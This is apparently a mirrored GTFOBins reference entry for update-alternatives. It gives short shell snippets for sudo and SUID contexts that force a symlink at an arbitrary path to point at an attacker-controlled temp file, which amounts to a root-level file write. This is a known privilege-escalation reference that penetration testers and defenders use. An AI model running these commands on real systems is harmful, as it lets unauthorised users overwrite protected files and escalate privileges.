mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
18 lines
476 B
Markdown
18 lines
476 B
Markdown
---
|
|
functions:
|
|
sudo:
|
|
- description: Write in `$LFILE` a symlink to `$TF`.
|
|
code: |
|
|
LFILE=/path/to/file_to_write
|
|
TF=$(mktemp)
|
|
echo DATA >$TF
|
|
sudo update-alternatives --force --install "$LFILE" x "$TF" 0
|
|
suid:
|
|
- description: Write in `$LFILE` a symlink to `$TF`.
|
|
code: |
|
|
LFILE=/path/to/file_to_write
|
|
TF=$(mktemp)
|
|
echo DATA >$TF
|
|
./update-alternatives --force --install "$LFILE" x "$TF" 0
|
|
---
|